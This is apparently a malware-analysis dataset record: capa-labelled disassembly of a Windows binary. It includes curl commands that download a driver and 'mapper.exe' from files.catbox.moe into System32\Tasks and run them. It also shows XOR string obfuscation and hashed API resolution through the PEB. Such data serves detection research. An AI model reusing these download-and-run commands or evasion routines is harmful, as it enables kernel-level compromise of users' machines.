joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006a70
Capabilities:
Accept command line arguments

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x70
xor ebx, ebx
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x50], rax
mov rdi, rax
test rax, rax
jne 0x140006aad
lea rax, [rbx - 1]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
mov eax, dword [rsp + 0x40]
mov r15, 0xffffffffffffffff
inc eax
mov qword [rsp + 0x98], rsi
movsxd rcx, eax
mov eax, 8
mul rcx
mov qword [rsp + 0x60], r14
cmovo rax, r15
mov rcx, rax
call fcn.140006c0c
mov r14, rax
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140006bac
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0xa0], r12
mov r12, r14
mov qword [rsp + 0x68], r13
mov r13, rdi
sub r13, r14
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rbp, qword [r12 + r13]
mov r9d, r15d
mov qword [rsp + 0x38], rbx
mov r8, rbp
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
mov rcx, rdi
call fcn.140006c0c
mov qword [rsp + 0x38], rbx
mov r9d, r15d
mov qword [rsp + 0x30], rbx
mov r8, rbp
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [r12], rsi
lea r12, [r12 + 8]
mov eax, dword [rsp + 0x40]
inc r14d
cmp r14d, eax
jne 0x140006b20
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x90]
cdqe
mov rcx, rdi
mov qword [r14 + rax*8], rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [rsp + 0x40]
mov rdx, r14
call fcn.140001040
mov esi, eax
cmp dword [rsp + 0x40], ebx
je 0x140006beb
mov rdi, r14
mov rcx, qword [rdi]
test rcx, rcx
je 0x140006beb
call fcn.140005b4c
inc ebx
add rdi, 8
cmp ebx, dword [rsp + 0x40]
jne 0x140006bd2
mov rcx, r14
call fcn.140005b4c
mov r14, qword [rsp + 0x60]
mov eax, esi
mov rsi, qword [rsp + 0x98]
add rsp, 0x70
pop r15
pop rdi
pop rbx
ret
Function at 0x140002c60
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x70
mov qword [rsp + 0x68], rsi
mov rsi, rcx
mov qword [rsp + 0x60], rdi
call sym.build.exe_interception_create_context
mov rdi, rax
mov qword [0x14025ca58], rax
xor ebp, ebp
mov eax, 0x1000
mov word [rsp + 0x80], ax
test rdi, rdi
je 0x140002cfe
mov qword [rsp + 0x90], rbx
mov ebx, ebp
mov rcx, qword [rdi]
test rcx, rcx
je 0x140002ce4
lea eax, [rbx - 0xa]
cmp eax, 9
ja 0x140002ce4
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x88]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x80]
mov dword [rsp + 0x28], ebp
mov r9d, 2
mov edx, 0x222010
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
inc ebx
add rdi, 0x10
cmp ebx, 0x14
jl 0x140002ca0
mov rbx, qword [rsp + 0x90]
mov rdi, qword [0x14025ca58]
mov edx, 0xffffffff
mov rcx, rdi
call sym.build.exe_interception_wait_with_timeout
mov rcx, qword [0x14025ca58]
mov edx, 0xffffffff
mov dword [0x14025ca54], eax
call sym.build.exe_interception_wait_with_timeout
mov rcx, qword [0x14025ca58]
lea r8, [0x14025ca40]
mov r9d, 1
mov dword [0x14025ca54], eax
mov edx, eax
call sym.build.exe_interception_receive
mov rdi, qword [rsp + 0x60]
test eax, eax
jle 0x140002da8
nop dword [rax]
mov edx, dword [0x14025ca54]
mov rcx, qword [0x14025ca58]
lea eax, [rdx - 0xb]
cmp eax, 9
jbe 0x140002d96
mov edx, 0xffffffff
call sym.build.exe_interception_wait_with_timeout
mov rcx, qword [0x14025ca58]
lea r8, [0x14025ca40]
mov r9d, 1
mov dword [0x14025ca54], eax
mov edx, eax
call sym.build.exe_interception_receive
test eax, eax
jg 0x140002d50
jmp 0x140002da8
mov r9d, 1
lea r8, [0x14025ca40]
call sym.build.exe_interception_send
mov ecx, 8
call fcn.14015ec00
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140003110]
xor ecx, ecx
mov dword [rsp + 0x20], ebp
xor edx, edx
mov qword [rax], rsi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140002e1b
cmp dword [rsp + 0x48], ebp
je 0x140002e0f
vmovups xmm0, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x50]
vmovdqa xmmword [rsp + 0x50], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140002e0f
mov al, 1
add rsp, 0x70
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x48], ebp
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400059b0
Capabilities:
Read .ini file

Disassembly:
push rdi
sub rsp, 0xc0
mov qword [rsp + 0x28], r9
mov rdi, r8
lea r9, [rsp + 0x80]
mov dword [rsp + 0x20], 0x40
lea r8, [0x1401934e6]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x140005af6
mov qword [rsp + 0xd8], rbp
lea r8, [rsp + 0x40]
mov qword [rsp + 0xe0], rsi
lea rdx, [rsp + 0x60]
movabs rsi, 0x399be0ada6c42263
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x80]
movabs r14, 0xae1d945232ebce5a
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], r14
movabs rbp, 0xae1d945232ebce76
vmovups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x30], rbp
vpxor xmm0, xmm0, xmmword [rsp + 0x30]
vmovdqu xmmword [rsp + 0x60], xmm0
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
test rax, rax
je 0x140005ad0
mov qword [rsp + 0xd0], rbx
xor ebx, ebx
nop dword [rax]
cmp rbx, 4
jge 0x140005ac8
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
mov qword [rsp + 0x30], r14
lea r8, [rsp + 0x40]
vcvtsd2ss xmm1, xmm0, xmm0
vmovss dword [rdi + rbx*4], xmm1
mov qword [rsp + 0x38], rsi
lea rdx, [rsp + 0x70]
vmovdqu xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x50], rbp
xor ecx, ecx
mov qword [rsp + 0x58], rsi
vpxor xmm1, xmm0, xmmword [rsp + 0x50]
vmovdqu xmmword [rsp + 0x70], xmm1
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
inc rbx
test rax, rax
jne 0x140005a70
mov rbx, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xe8]
mov eax, 1
mov rsi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd8]
add rsp, 0xc0
pop rdi
ret
xor eax, eax
add rsp, 0xc0
pop rdi
ret
Function at 0x14000e640
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14000e668
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000e68e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000e690
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14000e6e9
test ecx, ecx
jle 0x14000e6c9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14000e6e9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000e6e9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x14000e710
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14000e741
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je 0x14000e75f
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14000e77b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000e77d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000e7b9
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000e84e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000e7f4
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000e82e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000e84e
cmp rbx, rax
ja 0x14000e800
test rbx, rbx
je 0x14000e84e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000ecc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x70
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000ece4
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000ed1b
mov rax, qword [rcx + 0x58]
movsxd rcx, dword [rax]
add rcx, rdx
cmp rdx, rcx
jae 0x14000ed1b
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0x80], rsi
je 0x14000ee4c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000ed5e
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000ed89
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14000ee51
lea rax, [rsp + 0x90]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000edfe
sub eax, 1
je 0x14000edfe
cmp eax, 2
jne 0x14000ee4c
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmove edi, ecx
mov eax, edi
jmp 0x14000ee51
mov rsi, qword [rsp + 0x90]
lea rax, [rsp + 0x48]
sub rsi, rax
je 0x14000ee2f
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x48]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000ee4c
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x98], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14000ee51
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rdi
ret
Function at 0x14000f1a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000f269
cmp byte [rcx + 0x71], 0
je 0x14000f269
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000f25c
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14000f218
sub eax, 1
je 0x14000f21c
cmp eax, 2
jne 0x14000f25c
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x14000f24a
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000f25c
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret
Function at 0x1400109b0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov qword [r11 + 8], rcx
push r14
sub rsp, 0x80
movabs rcx, 0x399be0ada6c42263
movabs rdx, 0xae1d945232ebce76
mov qword [rsp + 0x58], rcx
movabs rax, 0x399be0addfa54e11
mov qword [rsp + 0x38], rax
movabs r8, 0xcb6bdb3e538fab3b
mov qword [rsp + 0x30], r8
movabs rax, 0x6c362ee4b697e7b8
vmovups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x40], rax
movabs rax, 0x4afa8ceedfa54e11
mov qword [r11 - 0x20], rax
movabs rax, 0x6c362ee4b697e7cb
mov qword [rsp + 0x38], rcx
movabs rcx, 0xac16d707de0e6b1d
mov qword [r11 - 0x18], rax
mov rax, qword [0x14025cee8]
mov qword [r11 - 0x10], rcx
mov qword [rsp + 0x50], rdx
vpxor xmm0, xmm0, xmmword [rsp + 0x50]
mov qword [r11 - 0x28], r8
vmovups ymm1, ymmword [rsp + 0x60]
vmovups ymmword [rsp + 0x60], ymm1
vmovdqu xmm2, xmmword [rsp + 0x70]
mov qword [rsp + 0x30], rdx
lea rdx, [r11 - 0x38]
vpxor xmm1, xmm1, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], rcx
lea rcx, [r11 - 0x28]
vmovdqu xmmword [rsp + 0x50], xmm0
vpxor xmm0, xmm2, xmmword [rsp + 0x40]
vmovdqu xmmword [rsp + 0x70], xmm0
vmovdqu xmmword [rsp + 0x60], xmm1
vzeroupper
call rax
xor ecx, ecx
mov qword [rsp + 0x90], 0
mov rsi, rax
call qword [sym.imp.ole32.dll_CoInitialize]
lea rax, [rsp + 0x90]
xor edx, edx
lea r9, [0x140168060]
mov qword [rsp + 0x20], rax
mov r8d, 1
lea rcx, [0x140168070]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov rcx, qword gs:[0x60]
mov r14d, eax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140010b77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140010b77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rax, [rbx + r9*4]
mov eax, dword [rax + r10]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x140010b72
nop
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x140010b50
cmp r8d, 0xf50944d9
je 0x140010b7c
test r9d, r9d
jne 0x140010b30
mov rcx, qword [rcx]
jmp 0x140010b00
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [0x14025ca60]
add rax, r10
mov rcx, rsi
call rax
mov ecx, dword [0x14025ca60]
mov r8b, 1
mov rdx, rsi
call fcn.140010300
test r14d, r14d
jne 0x140010bd4
mov rcx, qword [rsp + 0x90]
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + Ordinal_41]
mov rcx, qword [rsp + 0x90]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x14003f530
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x150
mov rbx, rcx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, Ordinal_301
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x20], pe_nt_image_headers64
cmp rdi, 0xffffffffffffffff
je 0x14003f5e2
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14003f5e2
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14003f5d9
cmp qword [rbx + 0x18], 0xf
mov r8, rbx
jbe 0x14003f5a1
mov r8, qword [rbx]
lea rax, [rsp + 0x4c]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14003f5c3
inc rax
test ecx, ecx
jne 0x14003f5b0
mov rcx, rdi
test edx, edx
je 0x14003f5fd
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14003f594
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140001bb0
xor al, al
mov rbx, qword [rsp + 0x160]
add rsp, 0x150
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x28], 0
je 0x14003f5e2
mov rcx, rbx
call fcn.140001bb0
mov rbx, qword [rsp + 0x160]
mov al, 1
add rsp, 0x150
pop rdi
ret
Function at 0x14003fdb0
Capabilities:
Create thread
Execute command

Disassembly:
push rbx
sub rsp, 0x50
call fcn.14003f630
mov ecx, 1
call fcn.14015ec00
lea rcx, [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rcx
lea r8, [0x140040640]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
mov r9, rax
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14003feec
cmp dword [rsp + 0x38], ebx
je 0x14003fee0
vmovups xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x40]
vmovdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003fee0
vpxor xmm0, xmm0, xmm0
vmovdqa xmmword [rsp + 0x30], xmm0
call fcn.14003f940
call fcn.14003f630
mov ecx, 1
call fcn.14015ec00
lea rcx, [rsp + 0x38]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140040640]
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14003fed0
cmp dword [rsp + 0x38], ebx
je 0x14003fec4
vmovups xmm0, xmmword [rsp + 0x30]
lea rcx, [rsp + 0x40]
vmovdqa xmmword [rsp + 0x40], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003fec4
lea rcx, str.curl___silent_https:__files.catbox.moe_htfqux.sys___output_C:WindowsSystem32Tasksdriver.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_je74mh.bin___output_C:WindowsSystem32Tasksmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Tasksdriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400031d0
call fcn.14003f120
xor eax, eax
add rsp, 0x50
pop rbx
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x38], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x38], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400445a0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400445fd
lea rbx, [0x140195260]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400445e4
cmp r10, 2
jb 0x1400445e4
cmp byte [r9], r8b
jne 0x1400445e4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400445c0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14004463f
lea rbx, [0x140195260]
cmp r8b, 0x23
jne 0x140044623
cmp byte [r9], r8b
jne 0x140044623
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140044610
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140044790
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x1400447aa
mov qword [r8], 0
lea rdx, [0x140194d80]
call fcn.140044650
mov rbx, rax
test rax, rax
jne 0x1400447ca
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140044875
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140044875
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140044875
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140044875
cmp rdi, 0xffffffffffffffff
je 0x140044875
mov rcx, rdi
call fcn.140048f40
mov rsi, rax
test rax, rax
je 0x140044875
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140044862
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call fcn.140048fe0
jmp 0x14004487e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140044870
mov qword [r14], rdi
mov rax, rsi
jmp 0x140044880
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret